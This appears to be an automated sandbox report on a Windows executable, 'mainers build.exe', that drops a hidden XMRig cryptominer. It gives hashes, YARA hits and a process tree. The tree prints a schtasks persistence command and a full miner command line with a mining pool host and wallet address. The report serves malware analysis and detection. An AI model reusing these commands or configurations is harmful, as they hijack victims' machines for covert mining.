Resubmissions
26/06/2024, 00:09
240626-afk9qsvdlm 1026/06/2024, 00:08
240626-afcmlavdkq 1026/06/2024, 00:07
240626-aejdrasbpd 1026/06/2024, 00:07
240626-aec7qssbnf 1026/06/2024, 00:06
240626-ad5wcssbmg 1026/06/2024, 00:06
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240626-acvn1asaqh 1026/06/2024, 00:04
240626-ackh2asape 1026/06/2024, 00:03
240626-ab5sksvblp 10Analysis
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max time kernel
1782s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
26/06/2024, 00:09
Static task
static1
Behavioral task
behavioral1
Sample
mainers build.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
mainers build.exe
Resource
win7-20240611-en
Behavioral task
behavioral3
Sample
mainers build.exe
Resource
win10-20240404-en
Behavioral task
behavioral4
Sample
mainers build.exe
Resource
win10v2004-20240611-en
General
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Target
mainers build.exe
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Size
29.7MB
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MD5
b93dd3965c81ec30c91ac4b16d56a7b5
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SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c
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SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
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SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
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SSDEEP
786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr
Malware Config
Signatures
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XMRig Miner payload 17 IoCs
resource yara_rule behavioral2/memory/2908-39-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-50-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-47-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-43-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-41-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-37-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-35-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-33-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-31-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-51-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-45-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-54-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-55-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-56-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-57-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-58-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral2/memory/2908-61-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
pid Process 2564 services64.exe 2652 sihost64.exe -
Loads dropped DLL 4 IoCs
pid Process 2596 cmd.exe 2596 cmd.exe 2180 conhost.exe 2180 conhost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2180 set thread context of 2908 2180 conhost.exe 38 -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2088 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2208 conhost.exe 2180 conhost.exe 2180 conhost.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2208 conhost.exe Token: SeDebugPrivilege 2180 conhost.exe Token: SeLockMemoryPrivilege 2908 explorer.exe Token: SeLockMemoryPrivilege 2908 explorer.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 2632 wrote to memory of 2208 2632 mainers build.exe 28 PID 2632 wrote to memory of 2208 2632 mainers build.exe 28 PID 2632 wrote to memory of 2208 2632 mainers build.exe 28 PID 2632 wrote to memory of 2208 2632 mainers build.exe 28 PID 2208 wrote to memory of 2668 2208 conhost.exe 30 PID 2208 wrote to memory of 2668 2208 conhost.exe 30 PID 2208 wrote to memory of 2668 2208 conhost.exe 30 PID 2668 wrote to memory of 2088 2668 cmd.exe 32 PID 2668 wrote to memory of 2088 2668 cmd.exe 32 PID 2668 wrote to memory of 2088 2668 cmd.exe 32 PID 2208 wrote to memory of 2596 2208 conhost.exe 33 PID 2208 wrote to memory of 2596 2208 conhost.exe 33 PID 2208 wrote to memory of 2596 2208 conhost.exe 33 PID 2596 wrote to memory of 2564 2596 cmd.exe 35 PID 2596 wrote to memory of 2564 2596 cmd.exe 35 PID 2596 wrote to memory of 2564 2596 cmd.exe 35 PID 2564 wrote to memory of 2180 2564 services64.exe 36 PID 2564 wrote to memory of 2180 2564 services64.exe 36 PID 2564 wrote to memory of 2180 2564 services64.exe 36 PID 2564 wrote to memory of 2180 2564 services64.exe 36 PID 2180 wrote to memory of 2652 2180 conhost.exe 37 PID 2180 wrote to memory of 2652 2180 conhost.exe 37 PID 2180 wrote to memory of 2652 2180 conhost.exe 37 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2180 wrote to memory of 2908 2180 conhost.exe 38 PID 2652 wrote to memory of 1576 2652 sihost64.exe 41 PID 2652 wrote to memory of 1576 2652 sihost64.exe 41 PID 2652 wrote to memory of 1576 2652 sihost64.exe 41 PID 2652 wrote to memory of 1576 2652 sihost64.exe 41 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\mainers build.exe"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2668 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2088
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C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"5⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"7⤵PID:1576
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2908
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
31KB
MD5523b0b07998159ef63cae05147cda63a
SHA1382de578dbff037b4331829c9347222e409e026e
SHA256354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e
SHA512091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db
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Filesize
29.7MB
MD5b93dd3965c81ec30c91ac4b16d56a7b5
SHA16061c84646ce64812a87753ecbd96681e29bfb2c
SHA256b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e